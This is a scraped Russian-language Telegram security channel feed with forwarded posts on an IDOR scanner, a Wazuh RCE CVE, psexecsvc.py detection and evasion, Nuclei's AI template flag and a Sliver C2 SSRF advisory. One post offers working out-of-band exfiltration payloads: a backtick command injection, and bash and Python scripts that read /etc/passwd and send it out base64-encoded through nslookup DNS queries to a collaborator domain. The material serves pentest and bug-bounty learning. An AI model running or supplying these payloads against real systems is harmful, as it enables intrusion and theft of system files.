Fsecurity | HH
2.01K subscribers
1.77K photos
108 videos
64 files
6.43K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Forwarded from AP Security
#web #pentest

IDOR Forge

IDOR Forge - это мощный и универсальный инструмент, предназначенный для обнаружения уязвимостей Insecure Direct Object Reference (IDOR) в веб-приложениях.

Уязвимости IDOR возникают, когда приложение раскрывает прямые ссылки на внутренние объекты (например, ключи баз данных, пути к файлам) без надлежащей проверки авторизации, что позволяет злоумышленникам получить несанкционированный доступ к данным.

Этот инструмент автоматизирует процесс выявления таких уязвимостей, динамически генерируя и тестируя полезную нагрузку, анализируя ответы и сообщая о потенциальных проблемах.
🔥1
Forwarded from APT
⚙️ Wazuh — Unsafe Deserialization RCE (CVE-2025-24016)

An unsafe deserialization vulnerability in Wazuh servers allows remote code execution through unsanitized dictionary injection in DAPI requests/responses. If an attacker injects an unsanitized dictionary into a DAPI request or response, they can craft an unhandled exception, allowing arbitrary Python code execution.

🔗 Source:
https://github.com/0xjessie21/CVE-2025-24016

#wazuh #deserialization #rce #cve
Forwarded from Хатка бобра (Vladimir)
На прошлой неделе пошумел выход нового скрипта psexecsvc.py, на волне слоупоков давайте разбираться что там интересного.

Как ранее уже писал, psexec.py использует под капотом библиотеку RemCom и поднимает ряд пайпов (RemCom*) на целевой машине. С ним беда в том, что сам бинарь детектируется всеми, кому не лень и и использует пайпы (их всего 4), которые сами по себе детектируются тем же Sysmon с конфигом от SwiftOnSecurity. Сам бинарь можно изменить, чтобы сбить сигнатуры. Можно имена пайпов изменить и избежать типового детекта, но все равно где-то можно спалиться, хотя бы по тому же поведенческому анализу, поскольку выполняем какие-то команды системные от недавно загруженного бинаря.

В свою очередь psexecsvc.py выходит на сцену с подписанным бинарём от SysInternals. Сама подпись очень сильно повышает доверие со стороны антивирусного средства, а используемый пайп по умолчанию (psexecsvc*) не детектируется через конфиг Sysmon. Скорее всего потому что его регулярно используют админы.

При реализации детекта нужно учитывать следующее:
1) Имя пайпа зависит от имени загруженного файла. Так, если мы загрузим файл с именем "beaver.exe", имя пайпа будет иметь уже префикс beaver*
2) Имя сервиса (PSEXECSVC) может быть изменено
3) Если вы опираетесь на детект создания сервисов через пайп svcctl, то зря - это можно сделать через RPC-TCP, там у вас фильтры не настроены, скорее всего
4) Сам файл не может быть изменён, иначе будет поломана подпись. Соответственно можно опираться на хеш-суммы файла, не зря же их Sysmon собирает. Ищем в событиях Process Created хеши MD5=5CB94F11459DA45D647D888EF4438B5B,SHA256=714D90445775684F61E4589CA6868077A72F733B857B94C307397877A350B46A,IMPHASH=463E73EC0F70B68EE0EB83A0DF4A5698
5) Так же в этом скрипте используется устаревшая версия PSEXECSVC - 1.9. Используется именно она, потому что в ней трафик летает незашифрованный и удалось восстановить структуру служебных сообщений для общения. Соответственно если у вас есть решения на сети, то можно накатить правило на обнаружение таких пакетов, а еще заодно собирать имя скомпрометированной учетной записи (передаётся в открытом виде).

Больше деталей в источнике, сама статья от авторов скрипта: https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/

#psexec #impacket
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:


name=val`ping -с 1 $(whoami).collaborator`ue


Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:


Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.


Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:

Получение части от вывода команды

Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене


`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`


Чтение всего файла по частям

Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)


bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'


Данный bash я делал по ранее написанному python-коду:


import os, base64, time

border, domain, delay = 40, ".collaborator", 3

with open('/etc/passwd') as file:
for lineNumber, line in enumerate(file, 1):
encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]

for part, chunk in enumerate(parts, 1):
os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
time.sleep(delay)


Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9

P.S. Если base64 не катит, то просто поменяйте на hex
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
👍1🔥1
Forwarded from #Arm1tage
Интеграция ИИ в Nuclei

В последнем обновлении для нуклей (3.3.9) был добавлен флаг -ai, который позволяет на ходу генерировать темплейт на основе ваших запросов.

Для начала пользования этой фичей нужно получить АПИ токен на сайте ProjectDiscovery. Затем запускаем нуклей с флагом auth:
nuclei -auth

И добавляем токен. Теперь мы можем пользоваться генератором темплейтов. Запуск выглядит следующим образом:
nuclei -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -ai "Detect SQL errors in response when injecting common payloads into GET and POST requests" -dast

Таким образом нуклей сгенерирует темплейт для инъекции SQL в параметры с дальнейшим поиском SQL ошибок, флаг -dast разрешает сканнеру проводить тестирование параметров.

Уважаемый Дмитрий АКА @reewardius создал свой сборник уже готовых промптов для разных типов ошибок и уязвимостей. Некоторые из них уже были успешно использованы в качестве теста. Вот несколько из них для примера:
-ai "Perform fuzzing on all parameters and HTTP methods using DSL, focusing on detecting XSS vulnerabilities (Reflected, Stored, and DOM-based) with pre-conditions."
-ai "Detect exposed .git repositories and sensitive files"
-ai "Identify default credentials on login pages"
-ai "Identify open FTP servers allowing anonymous access"

В общем ждем, когда ИИ будет топ 1 на хакерване.


#nuclei #ai
Forwarded from SecuriXy.kz
SSRF в C2 Sliver Teamserver CVE-2025-27090

Affected versions: >= 1.5.26, <= 1.5.42
Patched versions: 1.5.43

Info: https://github.com/advisories/GHSA-fh4v-v779-4g2w

PoC: [https://github.com/chebuya/exploits/tree/main/CVE-2025-27090%3A%20Sliver%20C2%20SSRF]